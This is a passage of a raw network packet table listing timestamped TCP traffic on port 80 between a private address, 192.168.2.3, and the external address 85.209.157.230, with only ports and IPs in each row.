Aug 31, 2022 08:34:31.561989069 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.562000036 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.562027931 CEST	49763	80	192.168.2.3	85.209.157.230
Aug 31, 2022 08:34:31.562211037 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.562228918 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.562254906 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.562269926 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.562274933 CEST	49763	80	192.168.2.3	85.209.157.230
Aug 31, 2022 08:34:31.562309980 CEST	49763	80	192.168.2.3	85.209.157.230
Aug 31, 2022 08:34:31.562335968 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.562355042 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.562371016 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.562386036 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.562397003 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.562414885 CEST	49763	80	192.168.2.3	85.209.157.230
Aug 31, 2022 08:34:31.562453032 CEST	49763	80	192.168.2.3	85.209.157.230
Aug 31, 2022 08:34:31.562674999 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.562693119 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.562707901 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.562724113 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.562741041 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.562751055 CEST	49763	80	192.168.2.3	85.209.157.230
Aug 31, 2022 08:34:31.562756062 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.562783957 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.562792063 CEST	49763	80	192.168.2.3	85.209.157.230
Aug 31, 2022 08:34:31.562812090 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.562824965 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.562865019 CEST	49763	80	192.168.2.3	85.209.157.230
Aug 31, 2022 08:34:31.563159943 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.563179016 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.563194036 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.563227892 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.563230038 CEST	49763	80	192.168.2.3	85.209.157.230
Aug 31, 2022 08:34:31.563250065 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.563268900 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.563277960 CEST	49763	80	192.168.2.3	85.209.157.230
Aug 31, 2022 08:34:31.563318968 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.563323975 CEST	49763	80	192.168.2.3	85.209.157.230
Aug 31, 2022 08:34:31.563339949 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.563364983 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.563390017 CEST	49763	80	192.168.2.3	85.209.157.230
Aug 31, 2022 08:34:31.563647985 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.563668966 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.563683987 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.563709021 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.563718081 CEST	49763	80	192.168.2.3	85.209.157.230
Aug 31, 2022 08:34:31.563751936 CEST	49763	80	192.168.2.3	85.209.157.230
Aug 31, 2022 08:34:31.563754082 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.563806057 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.563823938 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.563838959 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.563849926 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.563851118 CEST	49763	80	192.168.2.3	85.209.157.230
Aug 31, 2022 08:34:31.563891888 CEST	49763	80	192.168.2.3	85.209.157.230
Aug 31, 2022 08:34:31.563957930 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.564014912 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.564030886 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.564059019 CEST	49763	80	192.168.2.3	85.209.157.230
Aug 31, 2022 08:34:31.564078093 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.564094067 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.564109087 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.564120054 CEST	49763	80	192.168.2.3	85.209.157.230
Aug 31, 2022 08:34:31.564145088 CEST	49763	80	192.168.2.3	85.209.157.230
Aug 31, 2022 08:34:31.564152002 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.564173937 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.564188957 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.564215899 CEST	49763	80	192.168.2.3	85.209.157.230
Aug 31, 2022 08:34:31.564429998 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.564466953 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.564534903 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.564551115 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.564564943 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.564579010 CEST	49763	80	192.168.2.3	85.209.157.230
Aug 31, 2022 08:34:31.564624071 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.564624071 CEST	49763	80	192.168.2.3	85.209.157.230
Aug 31, 2022 08:34:31.564640999 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.564666033 CEST	49763	80	192.168.2.3	85.209.157.230
Aug 31, 2022 08:34:31.564670086 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.564683914 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.564719915 CEST	49763	80	192.168.2.3	85.209.157.230
Aug 31, 2022 08:34:31.564870119 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.564948082 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.565002918 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.565004110 CEST	49763	80	192.168.2.3	85.209.157.230
Aug 31, 2022 08:34:31.565020084 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.565035105 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.565049887 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.565067053 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.565074921 CEST	49763	80	192.168.2.3	85.209.157.230
Aug 31, 2022 08:34:31.565082073 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.565093994 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.565114021 CEST	49763	80	192.168.2.3	85.209.157.230
Aug 31, 2022 08:34:31.565138102 CEST	49763	80	192.168.2.3	85.209.157.230
Aug 31, 2022 08:34:31.565310001 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.565332890 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.565349102 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.565363884 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.565382004 CEST	49763	80	192.168.2.3	85.209.157.230
Aug 31, 2022 08:34:31.565390110 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.565428019 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.565431118 CEST	49763	80	192.168.2.3	85.209.157.230
Aug 31, 2022 08:34:31.565448999 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.565470934 CEST	49763	80	192.168.2.3	85.209.157.230
Aug 31, 2022 08:34:31.565511942 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.565525055 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.565551996 CEST	49763	80	192.168.2.3	85.209.157.230
Aug 31, 2022 08:34:31.565671921 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.565707922 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.565733910 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.565749884 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.565781116 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.565798044 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.565814018 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.565829992 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.565846920 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.566010952 CEST	49763	80	192.168.2.3	85.209.157.230
Aug 31, 2022 08:34:31.566152096 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.566170931 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.566185951 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.566200972 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.566229105 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.566237926 CEST	49763	80	192.168.2.3	85.209.157.230
Aug 31, 2022 08:34:31.566270113 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.566276073 CEST	49763	80	192.168.2.3	85.209.157.230
Aug 31, 2022 08:34:31.566309929 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.566325903 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.566333055 CEST	49763	80	192.168.2.3	85.209.157.230
Aug 31, 2022 08:34:31.566338062 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.566375971 CEST	49763	80	192.168.2.3	85.209.157.230
Aug 31, 2022 08:34:31.566488028 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.566505909 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.566546917 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.566570044 CEST	49763	80	192.168.2.3	85.209.157.230
Aug 31, 2022 08:34:31.566587925 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.566602945 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.566629887 CEST	49763	80	192.168.2.3	85.209.157.230
Aug 31, 2022 08:34:31.566678047 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.566694975 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.566709995 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.566716909 CEST	49763	80	192.168.2.3	85.209.157.230
Aug 31, 2022 08:34:31.566720963 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.566761971 CEST	49763	80	192.168.2.3	85.209.157.230
Aug 31, 2022 08:34:31.567003012 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.567019939 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.567037106 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.567051888 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.567070007 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.567085028 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.567085981 CEST	49763	80	192.168.2.3	85.209.157.230
Aug 31, 2022 08:34:31.567132950 CEST	49763	80	192.168.2.3	85.209.157.230
Aug 31, 2022 08:34:31.567146063 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.567162991 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.567173004 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.567218065 CEST	49763	80	192.168.2.3	85.209.157.230
Aug 31, 2022 08:34:31.567312002 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.567328930 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.567372084 CEST	49763	80	192.168.2.3	85.209.157.230
Aug 31, 2022 08:34:31.567389011 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.567405939 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.567420959 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.567446947 CEST	49763	80	192.168.2.3	85.209.157.230
Aug 31, 2022 08:34:31.567450047 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.567466974 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.567488909 CEST	49763	80	192.168.2.3	85.209.157.230
Aug 31, 2022 08:34:31.567507982 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.567518950 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.567545891 CEST	49763	80	192.168.2.3	85.209.157.230
Aug 31, 2022 08:34:31.567780972 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.567797899 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.567827940 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.567846060 CEST	49763	80	192.168.2.3	85.209.157.230
Aug 31, 2022 08:34:31.567857981 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.567873955 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.567888975 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.567903996 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.567913055 CEST	49763	80	192.168.2.3	85.209.157.230
Aug 31, 2022 08:34:31.567950010 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.567955971 CEST	49763	80	192.168.2.3	85.209.157.230
Aug 31, 2022 08:34:31.567962885 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.567986965 CEST	49763	80	192.168.2.3	85.209.157.230
Aug 31, 2022 08:34:31.568116903 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.568207026 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.568223953 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.568238974 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.568254948 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.568268061 CEST	49763	80	192.168.2.3	85.209.157.230
Aug 31, 2022 08:34:31.568269968 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.568285942 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.568315983 CEST	49763	80	192.168.2.3	85.209.157.230
Aug 31, 2022 08:34:31.568348885 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.568372965 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.568389893 CEST	49763	80	192.168.2.3	85.209.157.230
Aug 31, 2022 08:34:31.568592072 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.568608046 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.568629026 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.568645000 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.568650961 CEST	49763	80	192.168.2.3	85.209.157.230
Aug 31, 2022 08:34:31.568672895 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.568697929 CEST	49763	80	192.168.2.3	85.209.157.230
Aug 31, 2022 08:34:31.568711996 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.568756104 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.568756104 CEST	49763	80	192.168.2.3	85.209.157.230
Aug 31, 2022 08:34:31.568772078 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.568783045 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.568809032 CEST	49763	80	192.168.2.3	85.209.157.230
Aug 31, 2022 08:34:31.568968058 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.568999052 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.569027901 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.569070101 CEST	49763	80	192.168.2.3	85.209.157.230
Aug 31, 2022 08:34:31.569083929 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.569118977 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.569123983 CEST	49763	80	192.168.2.3	85.209.157.230
Aug 31, 2022 08:34:31.569144011 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.569171906 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.569189072 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.569200039 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.569217920 CEST	49763	80	192.168.2.3	85.209.157.230
Aug 31, 2022 08:34:31.569252968 CEST	49763	80	192.168.2.3	85.209.157.230
Aug 31, 2022 08:34:31.569453001 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.569469929 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.569502115 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.569519043 CEST	49763	80	192.168.2.3	85.209.157.230
Aug 31, 2022 08:34:31.569531918 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.569546938 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.569561958 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.569577932 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.569588900 CEST	49763	80	192.168.2.3	85.209.157.230
Aug 31, 2022 08:34:31.569591999 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.569613934 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.569631100 CEST	49763	80	192.168.2.3	85.209.157.230
Aug 31, 2022 08:34:31.569832087 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.569858074 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.569873095 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.569889069 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.569915056 CEST	49763	80	192.168.2.3	85.209.157.230
Aug 31, 2022 08:34:31.569947004 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.569950104 CEST	49763	80	192.168.2.3	85.209.157.230
Aug 31, 2022 08:34:31.569964886 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.570000887 CEST	49763	80	192.168.2.3	85.209.157.230
Aug 31, 2022 08:34:31.570020914 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.570036888 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.570048094 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.570079088 CEST	49763	80	192.168.2.3	85.209.157.230
Aug 31, 2022 08:34:31.570271015 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.570333004 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.570348024 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.570363045 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.570379019 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.570383072 CEST	49763	80	192.168.2.3	85.209.157.230
Aug 31, 2022 08:34:31.570393085 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.570409060 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.570422888 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.570432901 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.570435047 CEST	49763	80	192.168.2.3	85.209.157.230
Aug 31, 2022 08:34:31.570465088 CEST	49763	80	192.168.2.3	85.209.157.230
Aug 31, 2022 08:34:31.570605993 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.570622921 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.570636988 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.570652962 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.570667982 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.570669889 CEST	49763	80	192.168.2.3	85.209.157.230
Aug 31, 2022 08:34:31.570694923 CEST	49763	80	192.168.2.3	85.209.157.230
Aug 31, 2022 08:34:31.570713043 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.570729971 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.570744991 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.570755959 CEST	49763	80	192.168.2.3	85.209.157.230
Aug 31, 2022 08:34:31.570755959 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.570780993 CEST	49763	80	192.168.2.3	85.209.157.230
Aug 31, 2022 08:34:31.571084023 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.571104050 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.571130991 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.571146965 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.571151018 CEST	49763	80	192.168.2.3	85.209.157.230
Aug 31, 2022 08:34:31.571162939 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.571178913 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.571193933 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.571197033 CEST	49763	80	192.168.2.3	85.209.157.230
Aug 31, 2022 08:34:31.571208954 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.571219921 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.571221113 CEST	49763	80	192.168.2.3	85.209.157.230
Aug 31, 2022 08:34:31.571249008 CEST	49763	80	192.168.2.3	85.209.157.230
Aug 31, 2022 08:34:31.571388960 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.571425915 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.571481943 CEST	49763	80	192.168.2.3	85.209.157.230
Aug 31, 2022 08:34:31.571494102 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.571510077 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.571540117 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.571556091 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.571572065 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.571599960 CEST	49763	80	192.168.2.3	85.209.157.230
Aug 31, 2022 08:34:31.571640968 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.571654081 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.571724892 CEST	49763	80	192.168.2.3	85.209.157.230
Aug 31, 2022 08:34:31.572105885 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.572123051 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.572185993 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.572202921 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.572205067 CEST	49763	80	192.168.2.3	85.209.157.230
Aug 31, 2022 08:34:31.572217941 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.572233915 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.572242975 CEST	49763	80	192.168.2.3	85.209.157.230
Aug 31, 2022 08:34:31.572249889 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.572264910 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.572276115 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.572288036 CEST	49763	80	192.168.2.3	85.209.157.230
Aug 31, 2022 08:34:31.572314024 CEST	49763	80	192.168.2.3	85.209.157.230
Aug 31, 2022 08:34:31.572391987 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.572428942 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.572485924 CEST	49763	80	192.168.2.3	85.209.157.230
Aug 31, 2022 08:34:31.572489977 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.572505951 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.572571993 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.572588921 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.572603941 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.572613001 CEST	49763	80	192.168.2.3	85.209.157.230
Aug 31, 2022 08:34:31.572657108 CEST	49763	80	192.168.2.3	85.209.157.230
Aug 31, 2022 08:34:31.572715044 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.572726965 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.572757006 CEST	49763	80	192.168.2.3	85.209.157.230
Aug 31, 2022 08:34:31.573026896 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.573054075 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.573110104 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.573112965 CEST	49763	80	192.168.2.3	85.209.157.230
Aug 31, 2022 08:34:31.573153019 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.573189974 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.573223114 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.573242903 CEST	49763	80	192.168.2.3	85.209.157.230
Aug 31, 2022 08:34:31.573273897 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.573273897 CEST	49763	80	192.168.2.3	85.209.157.230
Aug 31, 2022 08:34:31.573292971 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.573303938 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.573334932 CEST	49763	80	192.168.2.3	85.209.157.230
Aug 31, 2022 08:34:31.573585033 CEST	80	49763	85.209.157.230	192.168.2.3
